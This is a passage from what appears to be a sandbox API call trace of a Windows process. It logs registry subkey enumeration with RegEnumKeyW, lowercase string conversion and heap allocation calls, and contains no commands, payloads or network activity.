| out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0206.063] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc0d8 [0206.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directshow", cchWideChar=10, lpMultiByteStr=0x9dc0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directshow", lpUsedDefaultChar=0x0) returned 10 [0206.063] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc120 [0206.063] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc0d8) returned 1 [0206.063] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc120) returned 1 [0206.063] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dbbb8) returned 1 [0206.063] RegEnumKeyW (in: hKey=0x24, dwIndex=0x18, lpName=0x9db930, cchName=0x104 | out: lpName="DirectX") returned 0x0 [0206.063] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9dbbb8 [0206.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0206.063] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc120 [0206.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directx", cchWideChar=7, lpMultiByteStr=0x9dc120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directx", lpUsedDefaultChar=0x0) returned 7 [0206.063] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc0d8 [0206.063] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc120) returned 1 [0206.063] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc0d8) returned 1 [0206.063] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dbbb8) returned 1 [0206.063] RegEnumKeyW (in: hKey=0x24, dwIndex=0x19, lpName=0x9db930, cchName=0x104 | out: lpName="Driver Signing") returned 0x0 [0206.063] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9dbbb8 [0206.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="driver signing", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0206.063] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc0d8 [0206.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="driver signing", cchWideChar=14, lpMultiByteStr=0x9dc0d8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="driver signing", lpUsedDefaultChar=0x0) returned 14 [0206.064] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc120 [0206.064] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc0d8) returned 1 [0206.064] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc120) returned 1 [0206.064] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dbbb8) returned 1 [0206.064] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1a, lpName=0x9db930, cchName=0x104 | out: lpName="DRM") returned 0x0 [0206.064] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9dbbb8 [0206.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="drm", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0206.064] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc120 [0206.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="drm", cchWideChar=3, lpMultiByteStr=0x9dc120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="drm", lpUsedDefaultChar=0x0) returned 3 [0206.064] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc0d8 [0206.064] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc120) returned 1 [0206.064] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc0d8) returned 1 [0206.064] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dbbb8) returned 1 [0206.064] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1b, lpName=0x9db930, cchName=0x104 | out: lpName="DVR") returned 0x0 [0206.064] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9dbbb8 [0206.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dvr", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0206.064] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc0d8 [0206.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dvr", cchWideChar=3, lpMultiByteStr=0x9dc0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dvr", lpUsedDefaultChar=0x0) returned 3 [0206.064] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc120 [0206.064] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc0d8) returned 1 [0206.064] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc120) returned 1 [0206.064] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dbbb8) returned 1 [0206.064] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1c, lpName=0x9db930, cchName=0x104 | out: lpName="DXP") returned 0x0 [0206.064] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9dbbb8 [0206.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dxp", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0206.064] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc120 [0206.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dxp", cchWideChar=3, lpMultiByteStr=0x9dc120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dxp", lpUsedDefaultChar=0x0) returned 3 [0206.064] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc0d8 [0206.064] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc120) returned 1 [0206.064] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc0d8) returned 1 [0206.064] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dbbb8) returned 1 [0206.064] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1d, lpName=0x9db930, cchName=0x104 | out: lpName="EnterpriseCertificates") returned 0x0 [0206.064] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9dbbb8 [0206.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enterprisecertificates", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0206.065] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc0d8 [0206.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enterprisecertificates", cchWideChar=22, lpMultiByteStr=0x9dc0d8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enterprisecertificates", lpUsedDefaultChar=0x0) returned 22 [0206.065] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc120 [0206.065] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc0d8) returned 1 [0206.065] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc120) returned 1 [0206.065] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dbbb8) returned 1 [0206.065] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1e, lpName=0x9db930, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0206.065] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9dbbb8 [0206.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0206.065] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc120 [0206.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0x9dc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventsystem", lpUsedDefaultChar=0x0) returned 11 [0206.065] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc0d8 [0206.065] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc120) returned 1 [0206.065] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc0d8) returned 1 [0206.065] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dbbb8) returned 1 [0206.065] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1f, lpName=0x9db930, cchName=0x104 | out: lpName="Exchange") returned 0x0 [0206.065] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9dbbb8 [0206.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exchange", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0206.065] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc0d8 [0206.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exchange", cchWideChar=8, lpMultiByteStr=0x9dc0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="exchange", lpUsedDefaultChar=0x0) returned 8 [0206.065] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc120 [0206.065] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc0d8) returned 1 [0206.065] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc120) returned 1 [0206.065] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dbbb8) returned 1 [0206.065] RegEnumKeyW (in: hKey=0x24, dwIndex=0x20, lpName=0x9db930, cchName=0x104 | out: lpName="Fax") returned 0x0 [0206.065] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9dbbb8 [0206.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0206.065] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc120 [0206.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0x9dc120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fax", lpUsedDefaultChar=0x0) returned 3 [0206.065] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc0d8 [0206.065] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc120) returned 1 [0206.065] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc0d8) returned 1 [0206.065] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dbbb8) returned 1 [0206.065] RegEnumKeyW (in: hKey=0x24, dwIndex=0x21, lpName=0x9db930, cchName=0x104 | out: lpName="Feeds") returned 0x0 [0206.066] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9dbbb8 [0206.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="feeds", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0206.066] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc0d8 [0206.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="feeds", cchWideChar=5, lpMultiByteStr=0x9dc0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="feeds", lpUsedDefaultChar=0x0) returned 5 [0206.066] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc120 [0206.066] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc0d8) returned 1 [0206.066] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc120) returned 1 [0206.066] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dbbb8) returned 1 [0206.066] RegEnumKeyW (in: hKey=0x24, dwIndex=0x22, lpName=0x9db930, cchName=0x104 | out: lpName="FlashConfig") returned 0x0 [0206.066] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9dbbb8 [0206.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flashconfig", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0206.066] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc120 [0206.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flashconfig", cchWideChar=11, lpMultiByteStr=0x9dc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flashconfig", lpUsedDefaultChar=0x0) returned 11 [0206.066] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc0d8 [0206.066] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc120) returned 1 [0206.066] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc0d8) returned 1 [0206.066] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dbbb8) returned 1 [0206.066] RegEnumKeyW (in: hKey=0x24, dwIndex=0x23, lpName=0x9db930, cchName=0x104 | out: lpName="FTH") returned 0x0 [0206.066] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9dbbb8 [0206.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fth", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0206.066] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc0d8 [0206.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fth", cchWideChar=3, lpMultiByteStr=0x9dc0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fth", lpUsedDefaultChar=0x0) returned 3 [0206.066] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc120 [0206.066] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc0d8) returned 1 [0206.066] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc120) returned 1 [0206.066] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dbbb8) returned 1 [0206.066] RegEnumKeyW (in: hKey=0x24, dwIndex=0x24, lpName=0x9db930, cchName=0x104 | out: lpName="Function Discovery") returned 0x0 [0206.066] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9dbbb8 [0206.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="function discovery", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0206.066] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc120 [0206.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="function discovery", cchWideChar=18, lpMultiByteStr=0x9dc120, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="function discovery", lpUsedDefaultChar=0x0) returned 18 [0206.066] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc0d8 [0206.066] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc120) returned 1 [0206.066] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc0d8) returned 1 [0206.066] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dbbb8) returned 1 [0206.067] RegEnumKeyW (in: hKey=0x24, dwIndex=0x25, lpName=0x9db930, cchName=0x104 | out: lpName="Fusion") returned 0x0 [0206.067] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9dbbb8 [0206.067] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fusion", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0206.067] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc0d8 [0206.067] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fusion", cchWideChar=6, lpMultiByteStr=0x9dc0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fusion", lpUsedDefaultChar=0x0) returned 6 [0206.067] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc120 [0206.067] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc0d8) returned 1 [0206.067] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc120) returned 1 [0206.067] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dbbb8) returned 1 [0206.067] RegEnumKeyW (in: hKey=0x24, dwIndex=0x26, lpName=0x9db930, cchName=0x104 | out: lpName="GPUPipeline") returned 0x0 [0206.067] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9dbbb8 [0206.067] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gpupipeline", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0206.067] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc120 [0206.067] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gpupipeline", cchWideChar=11, lpMultiByteStr=0x9dc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gpupipeline", lpUsedDefaultChar=0x0) returned 11 [0206.067] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc0d8 [0206.067] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc120) returned 1 [0206.067] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc0d8) returned 1 [0206.067] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dbbb8) returned 1 [0206.067] RegEnumKeyW (in: hKey=0x24, dwIndex=0x27, lpName=0x9db930, cchName=0x104 | out: lpName="HTMLHelp") returned 0x0 [0206.067] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9dbbb8 [0206.067] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="htmlhelp", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0206.067] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc0d8 [0206.067] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="htmlhelp", cchWideChar=8, lpMultiByteStr=0x9dc0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="htmlhelp", lpUsedDefaultChar=0x0) returned 8 [0206.067] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc120 [0206.067] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc0d8) returned 1 [0206.067] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc120) returned 1 [0206.067] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dbbb8) returned 1 [0206.067] RegEnumKeyW (in: hKey=0x24, dwIndex=0x28, lpName=0x9db930, cchName=0x104 | out: lpName="IdentityCRL") returned 0x0 [0206.067] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9dbbb8 [0206.067] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitycrl", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0206.067] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc120 [0206.067] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitycrl", cchWideChar=11, lpMultiByteStr=0x9dc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="identitycrl", lpUsedDefaultChar=0x0) returned 11 [0206.068] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc0d8 [0206.068] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc120) returned 1 [0206.068] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc0d8) returned 1 [0206.068] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dbbb8) returned 1 [0206.068] RegEnumKeyW (in: hKey=0x24, dwIndex=0x29, lpName=0x9db930, cchName=0x104 | out: lpName="IdentityStore") returned 0x0 [0206.068] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9dbbb8 [0206.068] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitystore", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0206.068] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc0d8 [0206.068] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitystore", cchWideChar=13, lpMultiByteStr=0x9dc0d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="identitystore", lpUsedDefaultChar=0x0) returned 13 [0206.068] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc120 [0206.068] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc0d8) returned 1 [0206.068] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc120) returned 1 [0206.068] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dbbb8) returned 1 [0206.068] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2a, lpName=0x9db930, cchName=0x104 | out: lpName="IMAPI") returned 0x0 [0206.068] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9dbbb8 [0206.068] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0206.068] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc120 [0206.068] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imapi", cchWideChar=5, lpMultiByteStr=0x9dc120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imapi", lpUsedDefaultChar=0x0) returned 5 [0206.068] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc0d8 [0206.068] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc120) returned 1 [0206.068] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc0d8) returned 1 [0206.068] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dbbb8) returned 1 [0206.068] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2b, lpName=0x9db930, cchName=0x104 | out: lpName="IMEJP") returned 0x0 [0206.068] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9dbbb8 [0206.068] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imejp", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0206.068] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc0d8 [0206.068] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imejp", cchWideChar=5, lpMultiByteStr=0x9dc0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imejp", lpUsedDefaultChar=0x0) returned 5 [0206.068] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc120 [0206.068] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc0d8) returned 1 [0206.068] RtlFreeHeap (HeapHandle=0x9d0000, 